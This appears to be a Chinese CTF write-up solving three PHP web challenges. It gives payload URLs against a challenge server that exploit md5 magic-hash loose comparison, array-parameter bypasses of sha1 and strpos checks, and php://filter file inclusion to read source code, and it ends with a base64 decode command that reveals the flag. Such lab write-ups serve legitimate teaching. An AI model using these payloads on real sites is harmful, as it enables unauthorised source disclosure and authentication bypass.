web 题解(1)

web 题解

basic php

参考:

https://hackfun.org/2018/01/09/CTF%E4%B8%AD%E5%B8%B8%E8%A7%81PHP%E7%89%B9%E6%80%A7%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

playload1(参考23):

http://123.207.149.64:23331/feature/?name=1&password=1&test=QNKCDZO

另:不赋值的方法本题不使用,具体原因待测

playload2(参考07):

http://123.207.149.64:23331/feature/?name[]=1&password[]=2&test=QNKCDZO

Hint:由于sha1()函数和md5()函数在处理传入参数为数组时会报警并都返回NULL,构造并传入2个不同数组便可以成功通过if ($_GET['name'] == $_GET['password'])else if (sha1($_GET['name']) === sha1($_GET['password']))检测。

basic php2

参考:

https://www.bodkin.ren/index.php/archives/168/ ereg()和strpos()部分例子
1. is_int() 函数用于检测变量是否是整数。
2. strpos() 函数:查找字符串在另一字符串中第一次出现的位置。

Hint:

strpos() 函数对大小写敏感。与ereg()两个函数都是处理字符串的函数;这时就可以利用数组来绕过;

playload: http://123.207.149.64:23360/user/27416cf22fc4ed74b1cd264585053b57fed14088/index.php?content[]=php

Basicfileinclude

参考:

1. 白帽子php文件包含漏洞部分;
2. http://mang0.me/archis/844a29d4/
3. https://www.smi1e.top/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%E4%B8%8Ephp%E4%BC%AA%E5%8D%8F%E8%AE%AE/ 
4. https://xz.aliyun.com/t/3085
由上述可知关键在 php://filter 可以读取本地文件,而 index.php?file=php://filter/read=convert.base64-encode/resource=index.php

指定末尾文件,可以读到base64编码后的文件内容,ctf中常有题目可读文件源码。

playload:

http://123.207.149.64:23338/?page=php://filter/read=convert.base64-encode/resource=flag

ubuntu base64解码指令:

echo aGEgaGE/IHlvdSB3YW50IGZsYWc/IGZsYWcgaXMgaGVyZTw/cGhwDQovLyB0cnkgdG8gcmVhZCB0aGlzIHNvdXJjZSBjb2RlDQovLyRmbGFnID0gJ2ZsYWd7cmVhbGx5X2Jhc2ljX3NraWxsX3dlYl9kb2dfc2hvdWxkX2tub3d9JzsNCj8+LCBidXQgZG9uJ3QgbGV0IHlvdSBzZWUhDQo= | base64 --decode